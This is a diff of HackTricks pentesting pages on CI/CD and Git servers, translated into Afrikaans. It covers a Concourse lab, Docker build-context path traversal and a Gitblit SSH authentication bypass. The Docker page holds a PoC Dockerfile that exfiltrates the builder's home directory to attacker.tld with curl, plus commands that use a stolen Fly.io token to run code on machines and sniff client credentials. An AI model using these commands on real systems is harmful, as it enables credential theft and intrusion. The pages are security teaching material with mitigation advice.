|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,26 +1,23 @@
|
||||
# Concourse Lab Creation
|
||||
# Concourse Laboratorium Skepping
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Testing Environment
|
||||
## Toets Omgewing
|
||||
|
||||
### Running Concourse
|
||||
### Concourse Loop
|
||||
|
||||
#### With Docker-Compose
|
||||
|
||||
This docker-compose file simplifies the installation to do some tests with concourse:
|
||||
#### Met Docker-Compose
|
||||
|
||||
Hierdie docker-compose lêer vereenvoudig die installasie om 'n paar toetse met concourse te doen:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
U kan die opdraglyn `fly` vir u OS van die web aflaai by `127.0.0.1:8080`
|
||||
|
||||
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
|
||||
|
||||
#### With Kubernetes (Recommended)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
#### Met Kubernetes (Aanbeveel)
|
||||
|
||||
U kan maklik concourse in **Kubernetes** (in **minikube** byvoorbeeld) ontplooi met die helm-kaart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
|
||||
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
|
||||
|
||||
Na die generering van die concourse omgewing, kan jy 'n geheim genereer en toegang gee aan die SA wat in concourse web loop om K8s geheime te bekom:
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: read-secrets
|
||||
name: read-secrets
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
|
||||
---
|
||||
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-secrets-concourse
|
||||
name: read-secrets-concourse
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
|
||||
---
|
||||
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
type: Opaque
|
||||
data:
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### Skep Pyplyn
|
||||
|
||||
### Create Pipeline
|
||||
'n Pyplyn bestaan uit 'n lys van [Jobs](https://concourse-ci.org/jobs.html) wat 'n geordende lys van [Steps](https://concourse-ci.org/steps.html) bevat.
|
||||
|
||||
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
|
||||
### Stappe
|
||||
|
||||
### Steps
|
||||
Verskeie verskillende tipes stappe kan gebruik word:
|
||||
|
||||
Several different type of steps can be used:
|
||||
- **die** [**`task` stap**](https://concourse-ci.org/task-step.html) **voert 'n** [**taak**](https://concourse-ci.org/tasks.html) **uit**
|
||||
- die [`get` stap](https://concourse-ci.org/get-step.html) haal 'n [bron](https://concourse-ci.org/resources.html) op
|
||||
- die [`put` stap](https://concourse-ci.org/put-step.html) werk 'n [bron](https://concourse-ci.org/resources.html) op
|
||||
- die [`set_pipeline` stap](https://concourse-ci.org/set-pipeline-step.html) konfigureer 'n [pyplyn](https://concourse-ci.org/pipelines.html)
|
||||
- die [`load_var` stap](https://concourse-ci.org/load-var-step.html) laai 'n waarde in 'n [lokale var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- die [`in_parallel` stap](https://concourse-ci.org/in-parallel-step.html) voer stappe parallel uit
|
||||
- die [`do` stap](https://concourse-ci.org/do-step.html) voer stappe in volgorde uit
|
||||
- die [`across` stap modifier](https://concourse-ci.org/across-step.html#schema.across) voer 'n stap verskeie kere uit; een vir elke kombinasie van veranderlike waardes
|
||||
- die [`try` stap](https://concourse-ci.org/try-step.html) probeer om 'n stap uit te voer en slaag selfs al misluk die stap
|
||||
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
|
||||
Elke [stap](https://concourse-ci.org/steps.html) in 'n [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) loop in sy **eie houer**. Jy kan enigiets wat jy wil binne die houer uitvoer _(d.w.s. voer my toetse uit, voer hierdie bash-skrip uit, bou hierdie beeld, ens.)_. So as jy 'n werk het met vyf stappe, sal Concourse vyf houers skep, een vir elke stap.
|
||||
|
||||
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
|
||||
|
||||
Therefore, it's possible to indicate the type of container each step needs to be run in.
|
||||
|
||||
### Simple Pipeline Example
|
||||
Daarom is dit moontlik om die tipe houer aan te dui waarin elke stap uitgevoer moet word.
|
||||
|
||||
### Eenvoudige Pyplyn Voorbeeld
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -130,25 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
Kontroleer **127.0.0.1:8080** om die pypuntvloei te sien.
|
||||
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
### Bash-skrip met uitvoer/invoer pypunt
|
||||
|
||||
### Bash script with output/input pipeline
|
||||
|
||||
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
|
||||
Dit is moontlik om **die resultate van een taak in 'n lêer te stoor** en aan te dui dat dit 'n uitvoer is en dan die invoer van die volgende taak as die uitvoer van die vorige taak aan te dui. Wat concourse doen, is om **die gids van die vorige taak in die nuwe taak te monteer waar jy toegang kan hê tot die lêers wat deur die vorige taak geskep is**.
|
||||
|
||||
### Triggers
|
||||
|
||||
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
|
||||
Jy hoef nie die werksgeleenthede handmatig te aktiveer elke keer wanneer jy hulle moet uitvoer nie, jy kan ook program dat hulle elke keer uitgevoer word:
|
||||
|
||||
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
- 'n Bietjie tyd verby: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- Op nuwe verbintenisse na die hooftak: [Git resource](https://github.com/concourse/git-resource)
|
||||
- Nuwe PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Laai die nuutste beeld van jou app af of druk dit: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
Kontroleer 'n YAML-pypuntvoorbeeld wat aktiveer op nuwe verbintenisse na meester in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
101
src/pentesting-ci-cd/docker-build-context-abuse.md
Normal file
101
src/pentesting-ci-cd/docker-build-context-abuse.md
Normal file
@@ -0,0 +1,101 @@
|
||||
# Misbruik van Docker Build Context in gehoste builders (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
As 'n CI/CD-platform of gehoste builder contributors toelaat om die Docker build context-path en Dockerfile-path te spesifiseer, kan jy dikwels die context op 'n ouer gids stel (bv. "..") en daarmee gasheer-lêers deel van die build context maak. Dan kan 'n kwaadwillige Dockerfile COPY gebruik om sekretes wat in die builder-gebruiker se tuisgids gevind word (bv. ~/.docker/config.json) uit te voer. Gestole registry tokens kan ook werk teen die provider se control-plane APIs, wat org-wye RCE moontlik maak.
|
||||
|
||||
## Aanvalsoppervlak
|
||||
|
||||
Baie gehoste builder/registry-dienste doen ongeveer dit wanneer hulle user-submitted images bou:
|
||||
- Lees 'n repo-level config wat insluit:
|
||||
- build context path (gestuur na die Docker daemon)
|
||||
- Dockerfile path relatief tot daardie context
|
||||
- Kopieer die aangeduide build context directory en die Dockerfile na die Docker daemon
|
||||
- Bou die image en hardloop dit as 'n gehoste diens
|
||||
|
||||
As die platform nie die build context kanoniseer en beperk nie, kan 'n gebruiker dit op 'n ligging buite die repository stel (path traversal), wat veroorsaak dat arbitrêre gasheer-lêers wat deur die build-gebruiker gelees kan word deel van die build context word en beskikbaar is vir COPY in die Dockerfile.
|
||||
|
||||
Praktiese beperkings wat algemeen waargeneem word:
|
||||
- Die Dockerfile moet binne die gekose context-path wees en sy pad moet vooraf bekend wees.
|
||||
- Die build-gebruiker moet lees-toegang hê tot lêers wat in die context ingesluit is; spesiale device-lêers kan die copy breek.
|
||||
|
||||
## PoC: Path traversal via Docker build context
|
||||
|
||||
Example malicious server config declaring a Dockerfile within the parent directory context:
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
Notes:
|
||||
- Die gebruik van ".." verwys dikwels na die builder-gebruiker se tuisgids (bv. /home/builder), wat tipies sensitiewe lêers bevat.
|
||||
- Plaas jou Dockerfile onder die repo se gidsnaam (bv. repo "test" → test/Dockerfile) sodat dit binne die uitgebreide ouer-konteks bly.
|
||||
|
||||
## PoC: Dockerfile om die gasheer-konteks in te neem en te eksfiltreer
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
Teikens wat algemeen van $HOME teruggevind word:
|
||||
- ~/.docker/config.json (registry auths/tokens)
|
||||
- Ander cloud/CLI caches en configs (bv. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
Wenk: Alhoewel daar 'n .dockerignore in die repository is, bepaal die kwesbare platform-kant konteksseleksie steeds wat na die daemon gestuur word. As die platform die gekose pad na die daemon kopieer voordat dit jou repo se .dockerignore evalueer, kan host-lêers steeds blootgestel word.
|
||||
|
||||
## Cloud pivot with overprivileged tokens (voorbeeld: Fly.io Machines API)
|
||||
|
||||
Sommige platforms gee 'n enkele bearer token wat vir beide die container registry en die control-plane API gebruik kan word. As jy 'n registry token exfiltrate, probeer dit teen die provider API.
|
||||
|
||||
Voorbeeld API-aanroepe teen Fly.io Machines API wat die gestole token uit ~/.docker/config.json gebruik:
|
||||
|
||||
Lys apps in 'n org:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
Voer 'n kommando as root binne enige masjien van 'n app uit:
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Uitkoms: organisasie-wyd remote code execution oor alle gehoste apps waar die token voldoende bevoegdhede het.
|
||||
|
||||
## Diefstal van geheime vanaf gekompromitteerde gehoste dienste
|
||||
|
||||
Met exec/RCE op gehoste bedieners kan jy deur kliënte verskafde geheime (API keys, tokens) insamel of prompt-injection-aanvalle uitvoer. Voorbeeld: installeer tcpdump en vang HTTP-verkeer op port 8080 om inkomende kredensiale te onttrek.
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Gevangde versoeke bevat dikwels client credentials in headers, bodies, of query params.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,12 +1,12 @@
|
||||
# Gitblit Security
|
||||
# Gitblit Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Gitblit
|
||||
## Wat is Gitblit
|
||||
|
||||
Gitblit is a self‑hosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
|
||||
Gitblit is 'n self-hosted Git-bediener geskryf in Java. Dit kan as 'n standalone JAR of in servlet containers loop en verskaf 'n ingebedde SSH-diens (Apache MINA SSHD) vir Git oor SSH.
|
||||
|
||||
## Topics
|
||||
## Onderwerpe
|
||||
|
||||
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
|
||||
|
||||
@@ -14,8 +14,8 @@ Gitblit is a self‑hosted Git server written in Java. It can run as a standalon
|
||||
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [Gitblit project](https://gitblit.com/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,68 +2,64 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
## Opsomming
|
||||
|
||||
CVE-2024-28080 is an authentication bypass in Gitblit’s embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that user’s public keys can authenticate without the private key and without the password.
|
||||
CVE-2024-28080 is 'n authentication bypass in Gitblit’s embedded SSH service as gevolg van verkeerde hantering van sessie state tydens integrasie met Apache MINA SSHD. Indien 'n gebruikersrekening ten minste een SSH publieke sleutel geregistreer het, kan 'n aanvaller wat die gebruikersnaam en enige van daardie gebruiker se publieke sleutels ken, verifieer sonder die private sleutel en sonder die wagwoord.
|
||||
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
- Geaffekteer: Gitblit < 1.10.0 (waargenome op 1.9.3)
|
||||
- Reggestel: 1.10.0
|
||||
- Vereistes om te misbruik:
|
||||
- Git oor SSH geaktiveer op die instansie
|
||||
- Slagofferrekening het ten minste een SSH publieke sleutel in Gitblit geregistreer
|
||||
- Aanvaller ken die slagoffer se gebruikersnaam en een van hul publieke sleutels (dikwels ontdekbaar, bv. https://github.com/<username>.keys)
|
||||
|
||||
## Root cause (state leaks between SSH methods)
|
||||
## Root cause (state leaks tussen SSH methods)
|
||||
|
||||
In RFC 4252, public‑key authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
|
||||
In RFC 4252 verloop public‑key authentication in twee fases: die bediener kontroleer eers of 'n voorsiene publieke sleutel aanvaarbaar is vir 'n gebruikersnaam, en slegs ná 'n challenge/response met 'n handtekening verifieer dit die gebruiker. In MINA SSHD word die PublickeyAuthenticator twee keer aangeroep: by sleutelacceptasie (nog geen handtekening) en later nadat die kliënt 'n handtekening terugstuur.
|
||||
|
||||
Gitblit’s PublickeyAuthenticator mutated the session context on the first, pre‑signature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and short‑circuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior public‑key "acceptance" for the same user.
|
||||
Gitblit’s PublickeyAuthenticator gemuteer die sessiekonteks in die eerste, pre‑signature oproep deur die geverifieerde UserModel aan die sessie te bind en true terug te gee ("key acceptable"). Wanneer authentication later terugval na wagwoord, vertrou die PasswordAuthenticator daardie gemuteerde sessiestaat en kortsluit, en gee true terug sonder om die wagwoord te valideer. Gevolglik is enige wagwoord (insluitend leeg) aanvaar ná 'n vorige public‑key "acceptance" vir dieselfde gebruiker.
|
||||
|
||||
High‑level flawed flow:
|
||||
Hoëvlak gebrekkige vloei:
|
||||
|
||||
1) Client offers username + public key (no signature yet)
|
||||
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
|
||||
3) Client cannot sign (no private key), so auth falls back to password
|
||||
4) Password auth sees a user already present in session and unconditionally returns success
|
||||
1) Client bied gebruikersnaam + public key aan (nog geen handtekening)
|
||||
2) Server herken die sleutel as van die gebruiker en heg voortydig die gebruiker aan die sessie, gee true terug ("acceptable")
|
||||
3) Client kan nie teken nie (geen private sleutel), dus val auth terug na wagwoord
|
||||
4) Password auth sien 'n gebruiker reeds in die sessie en gee onvoorwaardelik sukses terug
|
||||
|
||||
## Step‑by‑step exploitation
|
||||
## Stap‑vir‑stap uitbuiting
|
||||
|
||||
- Collect a victim’s username and one of their public keys:
|
||||
- GitHub exposes public keys at https://github.com/<username>.keys
|
||||
- Public servers often expose authorized_keys
|
||||
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the public‑key acceptance path on the server.
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
- Versamel 'n slagoffer se gebruikersnaam en een van hul publieke sleutels:
|
||||
- GitHub openbaar publieke sleutels by https://github.com/<username>.keys
|
||||
- Openbare bedieners openbaar dikwels authorized_keys
|
||||
- Konfigureer OpenSSH om slegs die publieke helfte te bied sodat handtekeninggenerering misluk, wat 'n terugval na wagwoord afdwing terwyl die public‑key acceptance pad op die bediener steeds getrigger word.
|
||||
|
||||
Voorbeeld SSH client config (geen private sleutel beskikbaar):
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
|
||||
Connect and press Enter at the password prompt (or type any string):
|
||||
|
||||
Verbind en druk Enter by die wagwoordprompt (of tik enige string):
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
Authentication slaag omdat die vroeëre public‑key fase die sessie na 'n authenticated user gemuteer het, en password auth daardie status verkeerdelik vertrou.
|
||||
|
||||
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
|
||||
|
||||
## Impact
|
||||
|
||||
- Full impersonation of any Gitblit user with at least one registered SSH public key
|
||||
- Volledige impersonasie van enige Gitblit‑gebruiker met ten minste een geregistreerde SSH public key
|
||||
- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Potential administrative impact if targeting an admin user
|
||||
- Pure network exploit; no brute force or private key required
|
||||
- Potensiële administratiewe impak as 'n admin user geteiken word
|
||||
- Pure network exploit; geen brute force of private key benodig
|
||||
|
||||
## Detection ideas
|
||||
|
||||
@@ -74,9 +70,9 @@ Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Gi
|
||||
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
@@ -92,8 +88,8 @@ Practical tips:
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
|
||||
Related protocol/design notes and literature:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
|
||||
@@ -1,141 +1,130 @@
|
||||
# Gitea Security
|
||||
# Gitea Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Gitea
|
||||
## Wat is Gitea
|
||||
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
**Gitea** is 'n **self-hosted gemeenskapsbestuurde liggewig kode hosting** oplossing geskryf in Go.
|
||||
|
||||
.png>)
|
||||
|
||||
### Basic Information
|
||||
### Basiese Inligting
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
## Laboratorium
|
||||
|
||||
Om 'n Gitea-instansie plaaslik te laat loop, kan jy net 'n docker-container uitvoer:
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
Verbind met poort 3000 om toegang tot die webblad te verkry.
|
||||
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
Jy kan dit ook met kubernetes uitvoer:
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
## Ongeauthentiseerde Enumerasie
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
- Publieke repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Geregistreerde gebruikers: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Geregistreerde Organisasies: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
Let daarop dat **Gitea standaard nuwe gebruikers toelaat om te registreer**. Dit sal nie spesiaal interessante toegang aan die nuwe gebruikers oor ander organisasies/gebruiker repos gee nie, maar 'n **ingelogde gebruiker** mag in staat wees om **meer repos of organisasies te visualiseer**.
|
||||
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
## Interne Exploitatie
|
||||
|
||||
## Internal Exploitation
|
||||
Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening verkry het.
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
### Met Gebruiker Kredensiale/Web Koekie
|
||||
|
||||
### With User Credentials/Web Cookie
|
||||
As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het (of jy het 'n sessie koekie gesteel) kan jy **net aanmeld** en kyk watter **toestemmings jy het** oor watter **repos,** in **watter spanne** jy is, **lys ander gebruikers**, en **hoe die repos beskerm word.**
|
||||
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
Let daarop dat **2FA gebruik mag word** so jy sal slegs toegang tot hierdie inligting hê as jy ook **daardie toets kan slaag**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> Let daarop dat as jy **slaag om die `i_like_gitea` koekie te steel** (huidiglik geconfigureer met SameSite: Lax) kan jy **volledig die gebruiker naboots** sonder om kredensiale of 2FA te benodig.
|
||||
|
||||
### With User SSH Key
|
||||
### Met Gebruiker SSH Sleutel
|
||||
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Gitea laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode gebruik sal word om kode namens hulle te ontplooi** (geen 2FA word toegepas nie).
|
||||
|
||||
